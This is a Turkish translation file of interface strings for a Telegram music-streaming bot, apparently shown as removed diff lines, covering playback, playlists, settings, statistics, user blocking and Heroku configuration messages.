-start_2 : "Merhaba, Benim adım {0}.\n\nBazı kullanışlı özelliklere sahip bir telegram müzik botuyum. Youtube, Spotify, Resso, AppleMusic , Soundcloud vb. Destekleyici platformlar\n\nBeni gruplarınıza eklemekten çekinmeyin."
-start_3 : "Hoş Geldiniz {0}\n\nÇalışmak için herhangi bir **yönetici iznine** ihtiyacım yok ( isteninceye kadar).\n\nAsistan Kullanıcı Adı:- @{1}\nAsistan Kimliği:- {2}"
-start_4 : "{0}'s Owner[{1}] sohbetinize katıldı."
-start_5 : "{0} adlı kullanıcının Sudo Kullanıcısının[{1}] bir üyesi sohbetinize az önce katıldı."
-start_6 : "❗️ **Süper Grup Gerekli** ❗️\n\nLütfen **grubunuzu** **süper gruba** dönüştürün ve sonra beni tekrar ekleyin.\n\n**Üst grup nasıl yapılır?**\n✅ Grubunuzun sohbet geçmişini oluşturun **görünür** yapın önce."
-
-# Help
-help_1 : "Daha fazla bilgi için aşağıdaki butonlara tıklayın. Komutlar ve öğreticileri görmek istiyorsanız ( botun nasıl çalıştığı hakkında merak edilenler ve her şey ):-\n\nTüm komutlar aşşağıdaki butonlara basarak görebilirsiniz: /"
-help_2 : "Yardım için PM'den bana ulaşın."
-
-# Settings
-setting_1 : "⚙️ **Müzik Botu Ayarları**\n\n🖇**Grup:** {0}\n🔖**Grup Kimliği:** `{1}`\n\n💡**Aşağıdan istediğiniz işlev butonlarını seçin düzenlemek veya değiştirmek için.**"
-setting_3 : "⁉️ Bu Nedir?\n\n1) Doğrudan: Arama sorgularını doğrudan oynatır. Videoları doğrudan modda oynatmak için -v kullanın.\n\n2) Satır İçi: Video ve ses arasında seçim yapmak için Satır İçi İşaretleme Düğmelerini döndürür."
-setting_4 : "⁉️ Bu Nedir?\n\n👥 Herkes: Bu grupta bulunan yönetici komutlarını (skip, pause, resume vb.) herkes kullanabilir.\n\n🙍 Yalnızca Yönetici: Yalnızca yöneticiler ve yetkili kullanıcılar yönetici komutlarını kullanabilir."
-setting_5 : "Yetkili Kullanıcı Bulunamadı\n\nYönetici olmayan herhangi bir kişinin /auth ile yönetici komutlarımı kullanmasına ve /unauth kullanarak kullanmamasına izin verebilirsiniz"
-setting_9 : "⁉️ Bu Nedir?\n\nEtkinleştirildiğinde Bot, sohbetinizi temiz ve anlaşılır kılmak için {0} tarihinden sonra mesajını siler.."
-setting_10 : "⁉️ Bu Nedir?\n\n1) Grup: Komutun verildiği gruptaki müziği çalar.\n\n2) Kanal: İstediğiniz kanaldaki müziği çalar. /channelplay ile kanal kimliğini ayarla"
-setting_11 : "⁉️ Bu Nedir?\n\n1) Herkes: Bu grupta bulunan herkes burada müzik çalabilir.\n\n2) Yalnızca Yönetici: Bu gruptaki müziği yalnızca yöneticiler çalabilir."
-setting_12 : "❌ Kanal modu için tanımlanmış kanal kimliğiniz yok. Lütfen /channelplay ile tanımlayın."
-setting_13 : "Etkin grup aramasında oynatma modu değiştirilemez. Lütfen önce /stop ile sesli sohbeti durdurun."
-setting_14 : "⁉️ Bu Nedir?\n\nEtkinleştirildiğinde, Bot yürütülen komutları (/play, /pause, /shuffle, /stop vb.) hemen siler.\n\nBot, bunun düzgün çalışması için admin hakkının mesajları sil yetkisi gerektirecektir.."
-setting_15 : "Eş çözümlenemedi, Kanalınıza bot eklediğinizden ve onu yönetici olarak terfi ettirdiğinizden emin olun.\n\n/channelplay'i tekrar ayarlamayı deneyin..."
-
-set_cb_1 : "Ses Kalitesi Panelini Alma..."
-set_cb_2 : "Video Kalitesi Alma Paneli..."
-set_cb_3 : "Auth Kullanıcıları Panelini Alma..."
-set_cb_4 : "Oynatma Modu Panelini Alma..."
-set_cb_5 : "Temizleme Modu Panelini Alma..."
-set_cb_6 : "Değişiklikleri Ayarlama."
-set_cb_7 : "Auth Kullanıcı Listesi Alınıyor.. LÜTFEN BEKLEYİNİZ."
-set_cb_8 : "Geri alma.."
-
-# Misc
-gstats_1 : "Global İstatistikleri Alma, Bu Biraz Zaman Alabilir..."
-gstats_2 : "Global İstatistik Bulunamadı."
-gstats_3 : "**Bot'taki Toplam Sorgu:** {0}\n\n{1}, şu ana kadar **{2}** parça çalmış ve **{3}** gibi çok sayıda parça çalmıştır.\n\n**En İyi {4} Parçalar:**\n"
-
-ustats_1 : "Kullanıcı İstatistikleri Bulunamadı."
-ustats_2 : "Selamlar!, Şimdiye kadar çok sayıda **{1}** kez **{0}** parça çaldınız.\n\nEn çok {2} çaldığınız parça:\n\n"
-
-tops_1 : "Botun Global İlk 10 Sohbetini Alma, Bu biraz zaman alabilir..."
-tops_2 : "İstatistik Bulunamadı"
-tops_3 : "**{1}'in En İyi {0} Sohbetleri:**\n\n"
-tops_4 : "Botun Global İlk 10 Kullanıcısını Alma, Bu Biraz Zaman Alabilir..."
-tops_5 : "**{1}'nin En İyi {0} Kullanıcısı:**\n\n"
-tops_6 : "Bu Sohbetin En İyi 10 Parçasını Almak, Bu Biraz Zaman Alabilir..."
-tops_7 : "Botun Global İlk 10 Parçasını Alma, Bu Biraz Zaman Alabilir..."
-tops_8 : "Bu sohbet grubu, şu ana kadar **{1}** defadan fazla sayıda **{0}** parça çaldı.\n\nBu sohbet grubu tarafından en çok çalınan {2} parça:\n\n"
-tops_9 : "Bot'un Genel İstatistiklerini Ve Bilgilerini Almak.. Bu Biraz Zaman Alabilir..."
-tops_10 : "**BOT'UN GLOBAL İSTATİSTİKLERİ**\n\nBot sunucularından genel istatistikleri kontrol etmek istediğiniz butonları aşağıdan seçin."
-
-
-# Play
-#Play Callback
-playcb_1 : "Bu Senin İçin Değil! Kendi Şarkını Ara."
-playcb_2 : "Sonraki Sonucu Alma"
-
-# Channel Play
-cplay_1 : "Bu sohbetteki kanallarda[{0}] herhangi bir kanala veya sohbetinizin bağlantılı kanalına müzik çalabilirsiniz.\n\n**Bağlı kanal için:**\n`/{1}bağlı`\n\n** Diğer herhangi bir kanal için:**\n`/{1} [Kanal Kimliği]`"
-cplay_2 : "Bu sohbette bağlantılı kanal yok."
-cplay_3 : "{0}\n\n__Kanal Kimliği__ ile Tanımlanmış Kanal: {1}"
-cplay_4 : "Kanal alınamadı.\n\nKanalınıza bot eklediğinizden ve onu yönetici olarak terfi ettirdiğinizden emin olun.\nKanalı /channelplay ile değiştirin veya /playmode ile kanal oynatma modunu devre dışı bırakın"
-cplay_5 : "Yalnızca Kanallar Desteklenir."
-cplay_6 : "Kanalı bu gruba bağlamak için[{0}] kanalın **Sahibi** olmanız gerekir.\n**Kanal Sahibi:** @{1}\n\nAlternatif olarak grubunuzu o kanala bağlayabilirsiniz. ve ardından `/channelplay bağlantılı ile bağlanmayı deneyin`"
-
-#Play
-play_1 : "🔄 Sorgu İşleniyor... Lütfen Bekleyin!"
-play_2 : "**🏷Kanal Oynatma Modu**\n🔄 Sorgu İşleniyor... Lütfen Bekleyin!\n\n**Bağlı Kanal:** {0}"
-play_3 : "Sorgu İşlenemedi!"
-play_4 : "🖇 **Yalnızca Yöneticiler Oynatır**\nYalnızca Yöneticiler ve Yetkilendirme Kullanıcıları bu grupta müzik çalabilir.\n\nModu /playmode aracılığıyla değiştirin ve zaten yöneticiyseniz, /admincache aracılığıyla admincache'i yeniden yükleyin"
-play_5 : "Ses dosyası işlenemedi.\n\nSes Dosyası Boyutu 100 mb'den Küçük Olmalı"
-play_6 : "**Süre Sınırı Aşıldı**\n\n**İzin Verilen Süre: **{0} dakika\n**Alınan Süre:** {1} dakika(s)"
-play_7 : "Üzgünüm! Bot, CPU aşırı yükleme sorunları nedeniyle yalnızca sınırlı sayıda görüntülü görüşmeye izin verir. Diğer birçok sohbet şu anda görüntülü aramayı kullanıyor. Sese geçmeyi deneyin veya daha sonra tekrar deneyin"
-play_8 : "Geçerli Bir Video Dosyası Uzantısı Değil!\n\n**Desteklenen Biçimler:** {0}"
-play_9 : "Video Dosya Boyutu 1 GB'den Küçük Olmalı"
-play_10 : "**Youtube Oynatma Listesi Özelliği**\n\nYoutube Oynatma Listesinin tamamını oynatmak istediğiniz Modu seçin"
-play_11 : "🔘Başlık: **{0}\n\n⏱️Süre:** {1} Dakika"
-play_12 : "**Spotify Oynatma Listeleri**\n\n👉Talep Eden:- {0}"
-play_13 : "**Apple Oynatma Listeleri**\n\n👉Talep Eden:- {0}"
-play_14 : "**URL doğrulanamıyor.**\nBot, bu url'nin şu platformlardan birine ait olup olmadığını merak ediyor: Youtube, AppleMusic, Spotify, Resso ve Soundcloud.\n\nM3u8 veya Uzak Bağlantılar için /stream'i kullanabilirsiniz.."
-play_15 : "**Canlı Yayın Algılandı**\n\nSistemler, stream bağlantınızı canlı yayın olarak algıladı. Canlı yayın oynamak istiyormusunuz ?"
-play_16 : "Parça ayrıntıları getirilemedi. başka şarkı dene."
-
-
-#Playlist
-playlist_1 : "**Kullanım:** /play [Müzik Adı veya Youtube Bağlantısı veya Sesi Yanıtla]\n\nBot'un Sunucu Oynatma Listesini oynatmak istiyorsanız! Aşağıdaki butona basın."
-playlist_2 : "Çalma listeniz alınıyor. Lütfen bekleyin"
-playlist_3 : "Bot Sunucusunda oynatma listeniz yok."
-playlist_4 : "Getirilen Oynatma Listesit:\n\n"
-playlist_5 : " Süre - {0} Dakika"
-playlist_6 : "Çalma Listelerini silmek için PM'de bana ulaşın."
-playlist_7 : "Çalma Listesindeki Parçalar: {0}\n\nÇalma Listenizdeki Belirli Bir Parçayı Silmek İçin Butonlara Basın.\n\nTüm Çalma Listesini Silmek İçin: Del Butonuna Basın."
-playlist_8 : "Zaten Var\n\nBu parça çalma listenizde var."
-playlist_9 : "Üzgünüm! Bir oynatma listesinde yalnızca {0} müziğiniz olabilir."
-playlist_10 : "Oynatma Listesi Ekleme\n\n{0}\ Oynatma Listenize Eklendi."
-playlist_11 : "Listeniz başarıyla silindi."
-playlist_12 : "Listeniz silinemedi."
-playlist_13 : "Tüm çalma listelerinizi sunucudan silindi. "
-playlist_14 : "**Tüm oynatma listenizi silmek istediğinizden emin misiniz?**\n\nOynatma listenizi kaybedeceksiniz ve bu daha sonra kurtarılamaz."
-playlist_15 : "[Tüm Oynatma Listesini Kontrol Et]({0})"
-playlist_16 : "Sıraya Alınmış Oynatma Listesi:"
-playlist_17 : "Sıradaki Pozisyon-"
-playlist_18 : "[Tüm Sıradaki Oynatma Listesini Kontrol Et]({0})\n\nSon Sıradaki Pozisyon : **{1}**"
-
-
-#Playmode
-playmode_1 : "Grubunuzdaki sorguları oynatmak istediğiniz modu seçin[{0}]."
-playmode_2 : "Ayarlar {0} tarafından başarıyla değiştirildi ve kaydedildi"
-
-#Stream
-str_1 : "Lütfen M3u8 Bağlantıları veya Dizin Bağlantıları Sağlayın."
-str_2 : "✅ Geçerli Akış Doğrulandı\n\nLütfen bağlantının işlenmesini bekleyin.."
-str_3 : "Youtube canlı yayın akışı yapılamıyor. Canlı Biçim Bulunamadı"
-
-#TopPlay
-tracks_1 : "**{0} En İyi 10 Oynatma Listesi işleniyor**\n\n**👉Talep Eden:** {1}\n📢**Kanal Oynatma:** {2}\n\n /stats'a göre En İyi 10 parçayı kontrol edin"
-tracks_2 : "**Hata**\n\nBot'un sunucularında **{0} En İyi 10 Oynatma Listesi** yok. Lütfen başka bir oynatma listesi deneyin"
-
-
-# TOOLS
-
-#Lyrics
-lyrics_1 : "**Kullanım:**\n\n/lyrics [ Şarkı ADı]"
-lyrics_2 : "Şarkı Sözleri Arama"
-lyrics_3 : "❌ Şarkı sözleri getirilemedi😭.\n\n💡**Aramaya çalışıldı:** {0}"
-lyrics_5 :
-lyrics_4 : "Uzun spam türlerinde şarkı sözü aramasından kaçınmak için aşağıdaki düğmeyi tıklayın ve aranılan şarkı sözlerini alın."
-
-#Ping
-ping_1 : "Ping!!!!"
-
-# Song
-song_1 : "YouTube'dan Müzik veya Video'yu yalnızca özel sohbette indirebilirsiniz. Lütfen beni özel sohbette başlat."
-song_2 : "**Kullanım:**\n\n/song [Şarkı Adı] veya [Youtube Link]"
-song_3 : "Canlı Bağlantı Algılandı. Canlı youtube videolarını indiremiyorum. "
-song_4 : "**🔘 Başlık:**- {0}\n\nİndirmek istediğiniz türü seçin."
-song_5 : "Geçerli bir Youtube Bağlantısı değil"
-song_6 : "Format Alınıyor.. \n\nLütfen Bekleyin.."
-song_7 : "Video için kullanılabilir biçimler alınamadı. Lütfen başka bir parça deneyin."
-song_8 : "İndirme Başladı\n\nİndirme hızı yavaş olabilir. Lütfen bekleyin.."
-song_9 : "Youtube-DL'den şarkı indirilemedi\n\n**Nedeni:** {0}"
-song_10 : "Sunuculardan telegrama yüklenemedi."
-song_11 : "Yükleme Başladı\n\nYükleme hızı yavaş olabilir. Lütfen bekleyin.."
-
-# Tools - Queue
-queue_1 : "Lütfen Bekleyin.. Sıra Alınıyor.."
-queue_2 : "Sırada Hiç Birşey Yok."
-queue_3 : "**Queued Tracks:** [Checkout More Queued Tracks From Here]({0})"
-queue_4 : "⏳ Sıraya eklendi **#{0}\n\n🔘Başlık:** {1}\n**⏱Süre:** {2}\n👉**Talep Eden:** {3}"
-
-# All Streaming Lines
-stream_1 : "📡 **Yayın Başladı**\n\n👉**Talep Eden:** {0}\n🔦**Bilgi: **[Buradan]({1})"
-stream_2 : "📡 **URL ile Yayına Başladı **\n\n👉**Talep Eden:** {0}"
-stream_3 : "📡 **Yayın Başladı**\n\n**🔘Başlık:** {0}\n⌛️**Süre**: {1}\n👤**İsteyen:** {2}"
-stream_4 : "📡 **Akış Başlatıldı**\n\n**🔘Başlık:** [{0}]({1})\n⌛️**Süre**: {2}\n👤**İsteyen:** {3}"
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "🗑 Kapat"
-CLOSEMENU_BUTTON : "🗑 Menüyü Kapat"
-BACK_BUTTON : "⬅ Geri"
-UNBAN_BUTTON : "🗑 Asistanın yasağını kaldır"
-
-#Lyrics
-L_B_1 : "🚀 Şarkı Sözlerini Şimdi Kontrol Et"
-
-# Start
-S_B_1 : "🗒 Komutlar"
-S_B_2 : "🔧 Ayarlar"
-S_B_3 : "📨 Destek"
-S_B_4 : "📨 Kanal"
-S_B_5 : "✚ Beni Grubuna ekle"
-S_B_6 : "💡 Git Repo"
-S_B_7 : "👤 Bot Owner"
-S_B_8 : "🔎 Nasıl kullanılır? Komutlar Menüsü."
-
-#Help
-H_B_1 : "Admin Commands"
-H_B_2 : "Play Commands"
-H_B_3 : "Bot Commands"
-H_B_4 : "Extra Commands"
-H_B_5 : "Close Menu"
-
-#PlayMode
-PM_B_1 : "DirectPlay"
-PM_B_2 : "InlineMarkup"
-PM_B_3 : "ChannelPlay"
-
-#Play
-P_B_1 : "🎵 Play Audio"
-P_B_2 : "🎥 Play Video"
-P_B_3 : "🏮 Start Live Stream"
-P_B_4 : "🎵 Play Playlist"
-
-#Playlist
-PL_B_1 : "🚀 Play Playlist"
-PL_B_2 : "✚ Playlists"
-PL_B_3 : "✚ Additional"
-PL_B_4 : "📡 Play Mode"
-PL_B_5 : "🔄 Del Whole Playlist"
-PL_B_6 : "↗️ Delete Playlist"
-PL_B_7 : "❗️ Yes, I'm sure. Delete it"
-PL_B_8 : "🔢 Play Top 10"
-PL_B_9 : "🤖 Play Global Top 10 Tracks"
-PL_B_10 : "🏘 Play Group's Top 10 Tracks"
-PL_B_11 : "👤 Play Personal Top 10 Tracks"
-
-#Settings
-ST_B_1 : "🔊 Aud Quality"
-ST_B_2 : "🎥 Vid Quality"
-ST_B_3 : "🎩 Auth Users"
-ST_B_4 : "📱 Dashboard"
-ST_B_5 : "▶️ Play Mode"
-ST_B_6 : "🏳️🌈 Language"
-ST_B_7 : "🔄 Clean Mode"
-ST_B_8 : "{0} Low Quality Audio"
-ST_B_9 : "{0} Medium Quality Audio"
-ST_B_10 : "{0} High Quality Audio"
-ST_B_11 : "{0} Low Quality Video"
-ST_B_12 : "{0} Medium Quality Video"
-ST_B_13 : "{0} High Quality Video"
-ST_B_14 : "✅ Enabled"
-ST_B_15 : "❌ Disabled"
-ST_B_16 : "👤 Admins"
-ST_B_17 : "👥 Everyone"
-ST_B_18 : "📋 Authorized Users Lists"
-ST_B_19 : "🔎 Search Mode"
-ST_B_20 : "✅ Direct"
-ST_B_21 : "✅ Inline"
-ST_B_22 : "⏯ Play Mode"
-ST_B_23 : "🏘 Group"
-ST_B_24 : "🏷 Channel"
-ST_B_25 : "🫂 Play Type"
-ST_B_26 : "🗑 Command Clean"
-
-#Song
-SG_B_1 : "↗️ Open Private Chat"
-SG_B_2 : "🔊 Audio"
-SG_B_3 : "🎥 Video"
-
-#Stats
-SA_B_1 : "📢 Top 10 Chat"
-SA_B_2 : "🔢 Top 10 Tracks"
-SA_B_3 : "🧛 Top 10 Users"
-SA_B_4 : "🏷 Top 10 Here"
-SA_B_5 : "💡 Overall Stats"
-SA_B_6 : "👤 User Stats"
-SA_B_7 : "🔢 Global Top 10 Stats"
-SA_B_8 : "🤖 Bot Stats"
-
-
-
-# Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-
-#Sudo
-sudo_1 : "{0} zaten bir sudo kullanıcısı."
-sudo_2 : "Sudo Kullanıcılarına **{0}** eklendi."
-sudo_3 : "Bot'un Sudo'sunun bir parçası değil."
-sudo_4 : "Bot'un Sudo Kullanıcısından kaldırıldı"
-sudo_5 : "⭐️ **Owners:**\n"
-sudo_6 : "\n⭐️ **Sudo Users:**\n"
-sudo_7 : "Sudo Kullanıcısı Yok"
-
-#Block
-block_1 : "{0} bot tarafından zaten engellendi."
-block_2 : "Botun Engellenenler Listesine **{0}** eklendi. Kullanıcı artık hiçbir koşulda bot kullanamayacak.\n\nEngellenen kullanıcıları kontrol edin: /blockedusers"
-block_3 : "Kullanıcı zaten ücretsiz ve engellenmedi."
-block_4 : "Kullanıcı engelleme listesinden kaldırıldı. Kullanıcı artık bot kullanabilecek."
-block_5 : "Engellenen Kullanıcı Bulunamadı"
-block_6 : "Engellenen Kullanıcılar Listesi Alınıyor.. Lütfen Bekleyin"
-block_7 : "**Engellenmiş kullanıcılar:**\n\n"
-
-#Blacklist Chats
-black_1 : "**Kullanım:**\n/blacklistchat [CHAT_ID]"
-black_2 : "Sohbet zaten kara listeye alındı."
-black_3 : "Sohbet başarıyla kara listeye alındı"
-black_4 : "**Kullanım:**\n/whitelistchat [CHAT_ID]"
-black_5 : "Sohbet zaten beyaz listede."
-black_6 : "Sohbet başarıyla beyaz listeye alındı"
-black_7 : "**Kara Listeye Alınmış Sohbetler:**\n\n"
-black_8 : "Kara Listeye Alınmış Sohbet Yok"
-
-#videolimit
-vid_1 : "**Kullanım:**\n/set_video_limit [İzin verilen sohbet sayısı] veya [Disable]"
-vid_2 : "Lütfen Limiti Ayarlamak için Sayısal Rakamlar Kullanın."
-vid_3 : "Görüntülü Görüşmelerin Maksimum Sınırı, {0} Sohbet İçin Tanımlandı."
-vid_4 : "Görüntülü Görüşmeler Devre Dışı"
-
-#maintenance
-maint_1 : "**Kullanım:**\n/maintenance [enable|disable]"
-maint_2 : "Bakım için Etkinleştirildi"
-maint_3 : "Bakım Modu Devre Dışı"
-
-#log
-log_1 : "**Kullanım:**\n/logger [enable|disable]"
-log_2 : "Günlük Loglar Etkin"
-log_3 : "Günlük Loglar Devre Dışı"
-
-#videomode
-
-vidmode_1 : "**Kullanım:**\n/videomode [download|m3u8]"
-vidmode_2 : "Video Oynatma Modu, indirici olarak ayarlandı. Bot şimdi parçaları indirecek."
-vidmode_3 : "Video Oynatma Modu m3u8 olarak ayarlandı. Bot şimdi parçaları canlı olarak çalacak."
-
-#broadcast
-broad_1 : "**Bottan {1} Pinli {0} Sohbette Yayınlanan Mesaj.**"
-broad_2 : "Asistan Yayını Başlatıldı..."
-broad_3 : "**Yardımcı Yayın:**\n\n"
-broad_4 : "Asistan 1, {0} sohbette yayınlandı\n"
-broad_5 : "Asistan 2, {0} sohbette yayınlandı\n"
-broad_6 : "Asistan 3, {0} sohbette yayınlandı\n"
-broad_7 : "Asistan 4, {0} sohbette yayınlandı\n"
-broad_8 : "Asistan 5, {0} sohbette yayınlandı\n"
-broad_9 : "**Kullanım**:\n/broadcast [Mesaj] veya [Bir Mesajı Yanıtla]"
-broad_10 : "Lütfen yayınlamak için biraz metin sağlayın."
-broad_11 : "**{0} Kullanıcıya Yayınlanan Mesaj.**"
-
-#Heroku
-heroku_1 : "Please make sure your Heroku API Key, Your App name are configured correctly in the heroku"
-heroku_2 : "You can only get logs of Heroku Apps"
-heroku_3 : "**Usage:**\n/get_var [Var Name]"
-heroku_4 : "Unable to find any such var."
-heroku_5 : ".env file not found."
-heroku_6 : "**Usage:**\n/del_var [Var Name]"
-heroku_7 : "{0} Deleted."
-heroku_8 : "**Usage:**\n/set_var [Var Name] [Var Value]"
-heroku_9 : "{0} has been updated successfully"
-heroku_10 : "{0} has been added successfully"
-heroku_11 : "Only for Heroku Apps"
-heroku_12 : "Checking Heroku Usage. Please Wait"
-heroku_13 : "Checking for available updates..."
-heroku_14 : "Git Command Error"
-heroku_15 : "Invalid Git Repsitory"
-
-#Private bot mode
-pbot_1 : "**Kullanım:**\n/authorize [CHAT_ID]"
-pbot_2 : "**Kullanım:**\n/unauthorize [CHAT_ID]"
-pbot_3 : "Yetkili listeye verilen sohbet eklendi"
-pbot_4 : "Verilen sohbet yetkili listeden kaldırıldı"
-pbot_5 : "Sohbet zaten yetkili listede"
-pbot_6 : "Yetkili listede böyle bir sohbet yok"
-pbot_7 : "Chat_id doğrulanamadı.\n\nSayısal olduğundan ve doğru biçimde olduğundan emin olun. Sohbet kullanıcı adı veya bağlantıları kullanmayın."
-pbot_8 : "Lütfen bekleyin... Yetkili sohbetler getiriliyor."
-pbot_9 : "**Getirilen Sohbetler:**\n\n"
-pbot_10 : "Özel sohbet"
-pbot_11 : "Yetkili sohbet bulunamadı"
-pbot_12 : "Özel Bot Modu devre dışı.\n\nBotunuzu özel bot olarak kullanmak için **PRIVATE_BOT_MODE** = **True** olarak ayarladığınızdan emin olun"
-pbot_13 : "\n**Getirilmeyen Sohbetler:**\n\n"